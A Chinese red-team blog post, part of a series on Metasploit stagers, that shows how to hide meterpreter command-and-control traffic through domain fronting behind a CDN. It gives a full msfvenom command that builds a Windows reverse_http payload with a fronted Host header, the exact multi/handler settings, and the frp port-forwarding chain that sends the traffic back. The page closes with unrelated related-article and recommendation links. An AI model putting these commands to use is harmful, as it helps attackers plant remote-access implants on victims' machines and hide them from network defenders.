msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量
msf 中使用域前置技术隐藏流量
前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这篇文章只是半埋上我之前挖的一个坑,关于域前置技术如何在 msf 中进行应用。
域前置技术介绍
域前置技术(Domain-Fronting)顾名思义,把域名放在前面,流量的前面,那么我们应该如何做到这件事情,这个一般就是利用各大 cdn 服务了。
cdn 技术我不用做过多介绍,相信大家给自己的网站上 cdn 都会上,简略来说原理的话,在域名注册商那里把 ns 记录,也就是 dns 解析服务器指向到你选择的 cdn 服务商,然后 cdn 就可以接管你的域名解析了,通过不同的缓存分流策略,把流量经过他的服务器后再转发给我们自己,也就是 cdn 后面的真实ip我们是不容易找到的。
那么应用到 C2 上,我们 C2 服务器也可以挂在 cdn 后面,流量通过 cdn 转发回来。
具体更为详细的介绍可以参见 红队行动之鱼叉攻击-倾旋
基础配置
首先不管怎样你需要有一个服务器,以及一个加了 cdn 的域名执行你服务器
这里我假设我们持有的域名为 test.akkuman.com,域名配好 cdn 指向的服务器是 1.1.1.1
这里你是把服务器架在 msf 上面还是内网穿透打通端口,这个看自己喜好
我这里是 msf 位于其他地方 2.2.2.2,然后 2.2.2.2 的 5555 端口通过 frp 映射到 1.1.1.1 的 80 端口上。
5555 端口是我们待会 msf 监听的端口,80 端口是因为访问域名,http 协议,访问80。
因为这些流量会通过 cdn 先转发到我们主机上的 80 端口,然后 80 端口上的流量会通过 frp 处理后送到我们本机监听的 5555 端口上。
生成 msf payload
基础一些配置做好之后,我们可以生成 payload 了。
首先我们需要得到一个 cdn 的 ip,因为 cdn 是依靠 http header 中的 Host 头进行流量转发的,所以我们只需要 ping 一下我们加了 cdn 的域名即可获得一个 ip,这里我是用的 cloudflare,获得的一个 ip 为 172.67.207.124
msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe
这里 LHOST 为我们获取的 cdn ip,因为是 http 协议的 payload,访问域名是访问 80 端口,LPORT 我们设置为 80
HttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头,还记得我们刚才说的 cdn 如何识别域名进行流量转发吗,这个就主要是为了 cdn 能够把流量转回到我们自己的服务器
创建监听器
msf 在监听中有一些配置需要说明一下
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址,即第二阶段会回连到这个 ip
lport 为给 payload 返回第二阶段载荷时填入的 port,即第二阶段会回连到这个端口
HttpHostHeader 前面说过,是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头
OverrideRequestHost 这个选项需要设置为 true,主要是因为 msf 的历史原因,msf 默认是使用传入请求 http header 中的 Host 字段来作为第二阶段的配置,也就是第二阶段会采用建立连接时传入请求的 Host,这种默认行为在大多数请求下没问题,具体可以自行测试,具体是需要 cdn 回连到我们真实 ip 时传递的域名是我们想要的,这个参数设置为 true 可以让 msf 忽略传入请求的 Host 头,而使用我们在 HttpHostHeader 中设置的
ReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是因为我的环境问题,我是通过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那么 duck 不必这么做,直接监听 80 就好
ReverseListenerBindAddress 这个参数其实设置不设置都没关系,但是不设置的话会有个小报错,
[-] Handler failed to bind to 172.67.207.124:80
这是因为 handler 无法将 cdn 的 ip 绑定到LHOST,因为这个 ip 在我们服务器上不存在,绑定失败就会提示这个,然后继续绑定 0.0.0.0。如果想要在界面上不显示这个错误,需要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的
可以看到,当我们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80
也就是 handler 在本地上是希望监听 80 的,而 1.1.1.1:80 上面的流量是转发到我们服务器 (2.2.2.2) 本机的 5555 端口上的。
所以我们的监听程序实际上需要监听在 5555 端口上,所以需要设置 ReverseListenerBindPort 参数
上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。
实际效果
paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:随机端口] <-> 127.0.0.1:5555


可以看到不管是请求第二阶段还是后续的心跳包,都是有带上 Host 头,流经 cdn 服务器的,这样我们就达到了隐藏自身的效果
那么 msf 会话这边呢

可以看到,也是可以正常使用的
msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量的更多相关文章
- msf stagers开发不完全指北(二)
采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang ...
- msf stagers开发不完全指北(一)
采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stag ...
- 微信小程序云开发不完全指北
微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...
- ThinkPHP 3.2.x 集成极光推送指北
3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...
- c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)
c#封装DBHelper类 public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...
- [转] iOS开发者的Weex伪最佳实践指北
[From] http://www.cocoachina.com/ios/20170601/19404.html 引子 这篇文章是笔者近期关于Weex在iOS端的一些研究和实践心得,和大家一起分享分享 ...
- VMware Workstation 安装以及Linux虚拟机安装 指北
最近有挺多小伙伴跟我说起虚拟机这个东西,所以,今天就给大家写一篇虚拟机安装使用指北吧. 虚拟机(英语:virtual machine),在计算机科学中的体系结构里,是指一种特殊的软件,可以在计算机平台 ...
- ASP.Net MVC开发基础学习笔记:四、校验、AJAX与过滤器
一.校验 — 表单不是你想提想提就能提 1.1 DataAnnotations(数据注解) 位于 System.ComponentModel.DataAnnotations 命名空间中的特性指定对数据 ...
- Python 简单入门指北(二)
Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...
随机推荐
- 07.DRF-序列化
Serializer序列化器 序列化器的作用: 进行数据的校验 对数据对象进行转换 一.定义Serializer 1.1 定义方法 Django REST framework中的Serializer使 ...
- Azure AD B2C(二)使用Azure AD B2C为ASP.NET Core 应用设置社交帐户(邮箱)登录/注册
一,引言 上次关于Azure AD B2C 讲到一些概念,有介绍到,Azure AD B2C 也是一种身份验证的解决方案,但是它运行客户使用其首选的社交,企业或者本地账户标识对应用程序和API进行单一 ...
- springboot mybatis plus多数据源轻松搞定 (上)
在开发中经常会遇到一个程序需要调用多个数据库的情况,总得来说分为下面的几种情况: 一个程序会调用不同结构的两个数据库. 读写分离,两个数据结构可能一样高,但是不同的操作针对不同的数据库. 混合情况,既 ...
- java并发编程-线程生命周期
线程生命周期 现代操作系统在运行一个程序时,会为其创建一个进程.例如,启动一个Java程序,操作系统就会创建一个Java进程.现代操作系统调度的最小单元是线程,也叫轻量级进程(Light Weight ...
- 网易java高级开发课程 面对上亿数据量,网易用啥技术?
- Java的前生今世
Java作为一门编程语言,自诞生以来已经流行了20多年,在学习它之前,我们有必要先了解一下它的历史,了解它是如何一步步发展到今天这个样子. 孕育 上世纪90年代,硬件领域出现了单片式计算机系统,比如电 ...
- 使用IDEA 发布项目搭配远程仓库 Gitee
本次讲解的是idea 发布到gitee上 一样的操作流程 没有基础的请先去学习 附上我的 gitee 地址 有资源会发布到gitee 俗话说关注走一走 活到999 https://gitee.com/ ...
- pikachu靶场-XSS
.Tips: 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器): 通过变化不同的scr ...
- maven在windows10系统下安装配置和打包war
maven下载地址:http://maven.apache.org/ 下载完成解压到 D盘 目录下D:\apache-maven-3.5.0\bin 配置maven环境变量: M2_HOME D: ...
- Laravel表单验证提示设置多语言
默认表单提示是英文的,我们可以安装语言包构建多语言环境. 根据版本选择命令 For Laravel 7.x : run composer require caouecs/laravel-lang:~6 ...